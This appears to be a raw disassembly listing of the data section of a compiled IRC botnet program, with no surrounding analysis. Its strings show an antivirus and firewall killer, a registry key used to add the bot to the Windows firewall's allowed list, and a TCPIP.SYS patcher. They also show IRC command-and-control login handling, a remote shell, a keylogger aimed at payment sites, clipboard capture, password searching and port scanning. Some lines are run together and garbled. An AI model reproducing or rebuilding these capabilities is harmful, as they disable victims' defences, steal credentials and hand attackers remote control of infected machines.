		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStartR	db ' Failed to start registry thread, error: <%d>.',0
		align 4
unk_4348F8	db    2			; DATA XREF: ___:0040F157o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aRegistryMonito	db ' Registry monitor active.',0
		align 10h
unk_434930	db    2			; DATA XREF: ___:0040F137o
					; sub_40F6F1+60CBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aFailedToStar_6	db ' Failed to start secure thread, error: <%d>.',0
		align 4
unk_43497C	db    2			; DATA XREF: ___:0040F0EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	65h, 63h
		db  75h	; u
		db 72h,	65h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSystemSecureMo	db ' System secure monitor active.',0
		align 4
unk_4349B8	db    2			; DATA XREF: ___:0040F0CAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStartA	db 'Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_434A0C	db    2			; DATA XREF: ___:0040F07Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAvFwKillerActi	db 'AV/FW Killer active.',0
		align 4
dword_434A44	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: ___:0040F03Fo
		dd 2BBBB02h, 6F422020h,	74732074h, 65747261h, 2E64h
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
					; DATA XREF: ___:0040EFF9o
		db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
		align 4
aSEnabledS	db '%s:*:Enabled:%s',0  ; DATA XREF: ___:0040EFD2o
aSDS		db '%s %d "%s"',0       ; DATA XREF: ___:0040EECDo
		align 10h
a_n_z_m_Patcher	db '.n.z.m. (patcher.p.l.g) .»».  TCPIP.SYSPatcher.',0
aSDriversTcpip_	db '%s\drivers\tcpip.sys',0 ; DATA XREF: sub_40F326+139o
		align 4
dword_434B48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F326+F4o
		dd 2BBBB02h
aConnectedToS_	db '  Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_40F576+65o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_40F576+35o
		align 4
aModeSS		db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+6409o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+63F4o
		align 4
dword_434BBC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+63E7o
		dd 2BBBB02h
aUserSLoggedIn_	db '  User: %s logged in.',0
		align 4
dword_434BEC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+63CAo
		dd 2BBBB02h
aPasswordAccept	db '  Password accepted.',0
		align 4
dword_434C1C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+635Ao
		dd 2BBBB02h
aFailedHostAuth	db '  *Failed host auth by: (%s!%s).',0
		align 4
dword_434C58	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+62FCo
		dd 2BBBB02h
aFailedPassAuth	db '  *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYouVeBe	db 'NOTICE %s :You',27h,'ve been logged.',0Dh,0Ah,0
					; DATA XREF: sub_40F6F1+62EDo
					; sub_40F6F1+634Bo
		align 4
aNoticeSNiceTry	db 'NOTICE %s :Nice try, idiot. (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_40F6F1+62D9o
					; sub_40F6F1+6337o
		align 10h
asc_434CE0:				; DATA XREF: sub_40F6F1+62A9o
		unicode	0, <~>,0
dword_434CE4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+6258o
		dd 2BBBB02h
aRandomNickChan	db '  Random nick change: %s',0
		align 4
dword_434D18	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+6179o
		dd 2BBBB02h
aInvalidLoginSl	db '  Invalid login slot number: %d.',0
		align 4
dword_434D54	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+6171o
		dd 2BBBB02h
aNoUserLoggedIn	db '  No user logged in at slot: %d.',0
		align 10h
dword_434D90	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+60FBo
		dd 2BBBB02h, 73252020h,	0
dword_434DB0	dd 7A026E02h, 201F6D1Fh, 63657328h, 2E657275h, 1F6C1F70h
					; DATA XREF: sub_40F6F1+6055o
		dd 2202967h, 2002BBBBh,	20732520h, 74737973h, 2E6D65h
aUnsecuring	db 'Unsecuring',0       ; DATA XREF: sub_40F6F1+604Fo
		align 4
aSecuring	db 'Securing',0         ; DATA XREF: sub_40F6F1+6048o
		align 10h
aSec		db 'sec',0              ; DATA XREF: sub_40F6F1+5FF0o
aSecure		db 'secure',0           ; DATA XREF: sub_40F6F1+5FDDo
		align 4
unk_434DFC	db    2			; DATA XREF: sub_40F6F1+5FD0o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_7	db 'Failed to start server thread, error: <%d>.',0
dword_434E44	dd 69026602h, 6966646Eh, 1F651F6Ch, 2E2Ehdword_434E54	dd 646E6946h, 6C696620h, 65hdword_434E60	dd 72027002h, 1F631F6Fh, 2E2Ehdword_434E6C	dd 636F7250h, 20737365h, 7473696Ch, 0dword_434E7C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5E59o
		dd 2BBBB02h, 65522020h,	6E6E6F63h, 69746365h, 2E676Eh
aQuitReconnecti	db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1:loc_41553Fo
		align 4
dword_434EBC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5E39o
		dd 2BBBB02h, 69442020h,	6E6F6373h, 7463656Eh, 2E676E69h
		dd 0
aQuitDisconnect	db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1:loc_41551Fo
		align 10h
aQuitS		db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+5E0Ao
		align 4
dword_434F0C	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5DC0o
		dd 2BBBB02h
aStatusReady_Bo	db '  Status: Ready. Bot Uptime: %s.',0
		align 4
dword_434F48	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5D84o
		dd 2BBBB02h, 6F422020h,	44492074h, 7325203Ah, 2Eh
dword_434F70	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+5D59o
		dd 2029671Fh, 2BBBB02h
aFailedToStartL	db '  Failed to start list thread, error: <%d>.',0
dword_434FB8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+5CEEo
		dd 2029671Fh, 2BBBB02h,	694C2020h, 74207473h, 61657268h
		dd 2E7364h
dword_434FE4	dd 627573h	dword_434FE8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5C7Co
		dd 2BBBB02h, 6C412020h,	20736169h, 7473696Ch, 2Eh
dword_435010	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5C63o
		dd 2BBBB02h
aFailedToStar_8	db '  Failed to start listing thread, error: <%d>.',0
		align 4
dword_435058	dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5BD9o
		dd 2BBBB02h, 694C2020h,	6E697473h, 6F6C2067h, 2E67h
dword_435080	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5B5Ao
		dd 2BBBB02h, 654E2020h,	726F7774h, 6E49206Bh, 2E6F66h
dword_4350A8	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5B2Fo
		dd 2BBBB02h, 79532020h,	6D657473h, 666E4920h, 2E6Fh
dword_4350D0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5AE2o
		dd 2BBBB02h, 65522020h,	69766F6Dh, 4220676Eh, 2E746Fh
unk_4350F8	db    2			; DATA XREF: sub_40F6F1+5ACFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToStar_9	db 'Failed to start listing thread, error: <%d>.',0
		align 4
dword_435148	dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h
					; DATA XREF: sub_40F6F1+5A60o
		dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h,	73736563h
		dd 73696C20h, 2E74h
aFull		db 'full',0             ; DATA XREF: sub_40F6F1+5A40o
		align 10h
unk_435180	db    2			; DATA XREF: sub_40F6F1+59EBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aAlreadyRunning	db 'Already running.',0
		align 4
unk_4351B4	db    2			; DATA XREF: sub_40F6F1+59BFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 63h,	64h, 6Bh
		db  65h	; e
		db 79h,	73h, 2Eh
		db  70h	; p
		db 1Fh,	6Ch, 1Fh
		db  67h	; g
		db 29h,	20h, 2
		db 0BBh	; »
		db 0BBh, 2, 20h
aSearchComplete	db ' Search completed.',0
		align 4
dword_4351E4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5977o
		dd 2BBBB02h, 70552020h,	656D6974h, 7325203Ah, 2Eh
dword_43520C	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_414FA8o
		dd 2BBBB02h
aRemoteShellRea	db '  Remote shell ready.',0
		align 4
dword_43523C	dd 7A026E02h, 201F6D1Fh, 646D6328h		db 2Eh
byte_435249	db 70h,	1Fh, 6Ch	; DATA XREF: ___:off_424C74o
		dd 2029671Fh, 2BBBB02h
aCouldnTOpenRem	db '  Couldn',27h,'t open remote shell.',0
		align 4
dword_435274	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5896o
		dd 2BBBB02h
aRemoteShellAlr	db '  Remote shell already running.',0
dword_4352AC	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5880o
		dd 2BBBB02h, 65472020h,	6C432074h, 6F627069h, 2E647261h
		dd 0
aClipboardData	db '-[Clipboard Data]-',0 ; DATA XREF: sub_40F6F1+5856o
		align 4
unk_4352EC	db    2			; DATA XREF: sub_40F6F1:loc_414F37o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushA	db '  Failed to flush ARP cache.',0
		align 4
unk_435328	db    2			; DATA XREF: sub_40F6F1+582Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aArpCacheFlushe	db '  ARP cache flushed.',0
		align 4
unk_43535C	db    2			; DATA XREF: sub_40F6F1:loc_414F0Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToLoadDn	db '  Failed to load dnsapi.dll.',0
		align 4
unk_435398	db    2			; DATA XREF: sub_40F6F1:loc_414F05o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToFlushD	db '  Failed to flush DNS cache.',0
		align 4
unk_4353D4	db    2			; DATA XREF: sub_40F6F1+580Do
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	6Ch, 75h
		db  73h	; s
		db 68h,	64h, 6Eh
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aDnsCacheFlushe	db '  DNS cache flushed.',0
		align 4
unk_435408	db    2			; DATA XREF: sub_40F6F1+57A5o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_10	db 'Failed to start server thread, error: <%d>.',0
unk_435450	db    2			; DATA XREF: sub_40F6F1+5626o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_11	db '  Failed to start server thread, error: <%d>.',0
		align 4
unk_435498	db    2			; DATA XREF: sub_40F6F1+54F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aAlreadyRunni_0	db '  Already running.',0
unk_4354C4	db    2			; DATA XREF: sub_40F6F1+54DBo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToSta_12	db '   Failed to start search thread, error: <%d>.',0
unk_435510	db    2			; DATA XREF: sub_40F6F1+545Bo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 66h,	69h, 6Eh
		db  64h	; d
		db 70h,	61h, 73h
		db  73h	; s
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSearchingForPa	db '   Searching for password.',0
unk_435548	db    2			; DATA XREF: sub_40F6F1+5378o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	2 dup(6Fh)
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSPortScanStart	db '  %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 10h
dword_4355C0	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+5143o
		dd 2BBBB02h
aNickChangedToS	db '  Nick changed to: ',27h,'%s',27h,'.',0
		align 4
dword_4355F4	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+512Ao
		dd 2BBBB02h
aJoinedChannelS	db '  Joined channel: ',27h,'%s',27h,'.',0
dword_435624	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+510Ao
		dd 2BBBB02h
aPartedChannelS	db '  Parted channel: ',27h,'%s',27h,'.',0
dword_435654	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+50F1o
		dd 2BBBB02h, 52492020h,	61522043h, 25203A77h, 2E73h
dword_43567C	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_414764o
		dd 2029671Fh, 2BBBB02h
aFailedToKillTh	db '  Failed to kill thread: %s.',0
		align 4
dword_4356B8	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+506Co
		dd 2029671Fh, 2BBBB02h
aKilledThreadS_	db '  Killed thread: %s.',0
		align 4
dword_4356EC	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1:loc_414717o
		dd 2029671Fh, 2BBBB02h
aNoActiveThread	db '  No active threads found.',0
		align 4
dword_435724	dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh
					; DATA XREF: sub_40F6F1+501Co
		dd 2029671Fh, 2BBBB02h
aStoppedDThread	db '  Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_40F6F1+5002o
aQuitLater	db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40F6F1+4F77o
					; sub_40F6F1:loc_41550Bo
		align 10h
dword_435770	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4EEFo
		dd 2BBBB02h
aPrefixChangedT	db '  Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_4357A4	db    3			; DATA XREF: sub_40F6F1:loc_4145CBo
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5CouldnTOpenFi	db '5  Couldn',27h,'t open file: %s',0
		align 4
unk_4357E8	db    3			; DATA XREF: sub_40F6F1+4ED0o
		db 31h,	35h, 2Ch
		db  31h	; 1
		db 34h,	6Eh, 7Ah
		db  6Dh	; m
		db 20h,	3, 32h
		db  2Eh	; .
		db 2Eh,	20h, 3
		db  31h	; 1
		db 35h,	28h, 73h
		db  68h	; h
		db 65h,	2 dup(6Ch)
		db    3
		db 32h,	2Eh, 3
		db  31h	; 1
		db 35h,	6Dh, 6Fh
		db  64h	; d
		db 29h,	20h, 3
		db  32h	; 2
		db 0BBh, 3, 31h
a5FileOpenedS	db '5  File opened: %s',0
		align 4
dword_435824	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4EA7o
		dd 2BBBB02h
aServerChangedT	db '  Server changed to: ',27h,'%s',27h,'.',0
		align 4
dword_435858	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1:loc_414549o
		dd 2BBBB02h
aCouldnTResol_0	db '  Couldn',27h,'t resolve hostname.',0
		align 10h
dword_435890	dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4E2Do
		dd 2BBBB02h
aLookupSS_	db '  Lookup: %s -> %s.',0
unk_4358BC	db    2			; DATA XREF: sub_40F6F1:loc_4144EAo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTermin	db 'Failed to terminate process: %s',0
unk_4358FC	db    2			; DATA XREF: sub_40F6F1+4DEFo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledS	db 'Process killed: %s',0
		align 10h
unk_435930	db    2			; DATA XREF: sub_40F6F1:loc_41448Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToTerm_0	db 'Failed to terminate process ID: %s',0
		align 4
unk_435974	db    2			; DATA XREF: sub_40F6F1+4D92o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	72h, 6Fh
		db  63h	; c
		db 65h,	2 dup(73h)
		db  65h	; e
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aProcessKilledI	db 'Process killed ID: %s',0
		align 4
dword_4359AC	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40F6F1+4D51o
		dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h,	2E277325h
		dd 0
dword_4359D8	dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4CCCo
		dd 2BBBB02h
aSendFileSUserS	db '  Send File: %s, User: %s.',0
		align 4
dword_435A0C	dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch
					; DATA XREF: sub_40F6F1+4C5Ao
		dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h
unk_435A30	db    2			; DATA XREF: sub_40F6F1+4C3Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 76h,	69h, 73h
		db  69h	; i
		db 74h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; »
		db 2, 2	dup(20h)
aFailedToSta_13	db 'Failed to start connection thread, error: <%d>.',0
dword_435A7C	dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh
					; DATA XREF: sub_40F6F1+4BD0o
		dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h,	0
dword_435AA4	dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch
					; DATA XREF: sub_40F6F1:loc_414252o
		dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh,	2E746E65h
		dd 0
unk_435AD0	db    2			; DATA XREF: sub_40F6F1+4B57o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 6Dh,	69h, 72h
		db  63h	; c
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientNotOpen_	db '  Client not open.',0
dword_435AFC	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4B26o
		dd 2BBBB02h, 6F432020h,	6E616D6Dh, 203A7364h, 7325h
dword_435B24	dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4B1Bo
		dd 2BBBB02h
aErrorSendingTo	db '  Error sending to remote shell.',0
		align 10h
dword_435B60	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4ACCo
		dd 2BBBB02h
aReadFileFailed	db '  Read file failed: %s',0
		align 10h
dword_435B90	dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40F6F1+4AB8o
		dd 2BBBB02h
aReadFileComple	db '  Read file complete: %s',0
		align 4
a_n_z_m_Keylo_4	db '.n.z.m. (keylog.p.l.g) .»».  Unknow mode type.',0
					; DATA XREF: sub_40F6F1:loc_414138o
		align 4
a_n_z_m_Keylo_3	db '.n.z.m. (keylog.p.l.g) .»».  Failed to start logging thread, erro'
					; DATA XREF: sub_40F6F1+4A3Do
		db 'r: <%d>.',0
		align 10h
a_n_z_m_Keylo_2	db '.n.z.m. (keylog.p.l.g) .»».  Normal key logger active.',0
					; DATA XREF: sub_40F6F1+49C5o
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_40F6F1+4978o
		align 10h
a_n_z_m_Keylo_1	db '.n.z.m. (keylog.p.l.g) .»».  Pay sites key logger active.',0
					; DATA XREF: sub_40F6F1+4970o
		align 4
aPay		db 'pay',0              ; DATA XREF: sub_40F6F1+4911o
a_n_z_m_Keylo_0	db '.n.z.m. (keylog.p.l.g) .»».  Already running.',0
					; DATA XREF: sub_40F6F1+48F1o
		align 10h
